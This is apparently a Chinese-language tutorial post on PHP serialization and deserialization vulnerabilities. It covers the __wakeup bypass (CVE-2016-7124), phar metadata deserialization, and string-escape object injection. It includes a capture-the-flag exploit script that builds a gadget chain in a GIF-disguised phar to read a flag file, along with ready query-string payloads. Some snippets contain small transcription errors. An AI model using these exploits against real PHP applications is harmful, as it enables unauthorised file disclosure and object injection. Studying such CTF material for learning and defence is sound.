PHP 序列化与反序列化 序列化 serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
php序列化的字母标示及其含义
1 2 3 4 5 6 7 8 9 10 11 12 13 a - array b - booleand - double i - integero - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string N - NULL
常见类型的序列化 1 2 3 4 5 6 7 8 N; b:<digit>; i:<number>; d:<number>; s:<length>:"<value>" ; a:<n>:{<key 1 ><value 1 ><key 2 ><value 2 >...<key n><value n>} O:<length>:"<class name>" :<n>:{<field name 1 ><field value 1 > <field name 2 ><field value 2 >...<field name n><field value n>}
例子: 1 2 3 4 5 6 7 8 9 10 11 <?php class testClass { public $v1 ; public $v2 =false ; public $v3 =1 ; public $v4 ="publicV4" ; private $v5 ="privateV5" ; protected $v6 ="protectedV6" ; } $s =serialize (new ye1s ());echo $s ;
结果:
1 O:9 :"testClass" :6 :{s:2 :"v1" ;N;s:2 :"v2" ;b:0 ;s:2 :"v3" ;i:1 ;s:2 :"v4" ;s:8 :"publicV4" ;s:13 :"%00testClass%00v5" ;s:9 :"privateV5" ;s:5 :"%00*%00v6" ;s:11 :"protectedV6" ;}
Note: 私有字段序列化时,字段名前会加上 \0className\0 , 其中 className 是所属类名,前后各加一个 0 字符,即 ascii 码为 0
保护字段,字段名前会加上 \0*\0
魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 __destruct ():__wakeup () :__invoke (): __call () __callStatic () __get () __set () __isset () __unset () __toString () __construct ():__sleep ():
note 在 unserialize() 之后会执行 __wake() 方法,但是,如果,所给参数个数与实际参数个数不符,则不会执行 __wake()
当PHP5 < 5.6.25、PHP7 < 7.0.1时,成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
常见反序列化缺陷 session 反序列化 PHP session 简介)
phar 反序列化 phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起的严重的php对象注入漏洞。phar文件结构
四部分构成
漏洞成因 漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化。当内核调用phar_parse_metadata()解析metadata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。14
利用条件 有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
15
生成文件 根据文件结构我们来自己构建一个 phar 文件,php内置了一个 Phar 类来处理相关操作
注意:要将 php.ini 中的 phar.readonly 选项设置为Off,否则无法生成 phar 文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class TestObject {} @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $o = new TestObject ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
16
例题 [SWPUCTF 2018]SimplePHP
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class C1e4r { public $test ; public $str ; } class Show { public $source ; public $str ; } class Test { public $file ; public $params ; } $test =new Test ();$show =new Show ();$c1e4r =new C1e4r ();$c1e4r ->str=$show ;$show ->str['str' ]=$test ;$test ->params['source' ]='/var/www/html/f1ag.php' ;$phar = new Phar ("phar1.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($c1e4r ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
上传后
反序列化字符逃匿 在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
PHP 反序列化特性 PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
对类中不存在的属性也会进行反序列化
过滤后字符变多 示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include 'flag.php' ;function filter ($string ) { return str_replace ('x' ,'yy' ,$string ); } $username = $_GET ['u' ];$password = "aaa" ;$user = array ($username , $password );$s = serialize ($user );$r = filter ($s );echo $r ;$a = unserialize ($r );if ($a [1 ]==='admin' ){ echo $flag ; } highlight_file (__FILE__ );?>
此题中对序列化字符串中的x替换为yy,可能导致字符串长度增加。
当传入u=admin,序列化为
1 2 a:2 :{i:0 ;s:5 :"admin" ;i:1 ;s:3 :"aaa" ;}
反序列化后满足不了$a[1]==='admin'条件
当传入u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";},此时替换序列化的结果为
1 2 a:2 :a:2 :{i:0 ;s:38 :"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" ;i:1 ;s:5 :"admin" ;}";i:1;s:3:" aaa";}
此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,不会报错,再加上后面的;i:1;s:5:”admin”;}成功反序列化,后面的就被忽略了。17
x个数的计算 首先我们要确定需要添加的内容,也就是后面一串,即”;i:1;s:5:”admin”;},长度为19(设为m),满足以下式子(设有n个x字符,”;i:1;s:5:”admin”;}前面有y个非x字符):
解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了
过滤后字符变少 示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include 'flag.php' ;function filter ($string ) { return str_replace ('sec' ,'' ,$string ); } $username = $_GET ['u' ];$password = $_GET ['p' ];$auth ="guest" ;$user = array ($username , $password ,$auth );$s = serialize ($user );$r = filter ($s );echo $r ;$a = unserialize ($r );if ($a [2 ]==='admin' ){ echo $flag ; } highlight_file (__FILE__ );?>
要想得到flag,就要使得”;i:2;s:5:”admin”;},长度为19,经过观察序列化后”;i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度”;i:1;s:xx:” 为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空格,刚好空出12个字符,可以将”;i:1;s:xx:”这12个字符反序列化后在第一个元素值中,使得后面逃匿。 最后payload
1 u=secsecsecsec&p=";i:1;s:4:" eval ";i:2;s:5:" admin";}
也可以多添加几个sec,假设为5个,此时空出15个字符,减去”;i:1;s:xx:”这12个字符,还剩下3个,可以再输入三个字符填充。
1 u=secsecsecsecsec&p=123 ";i:1;s:4:" eval ";i:2;s:5:" admin";}
18
Comments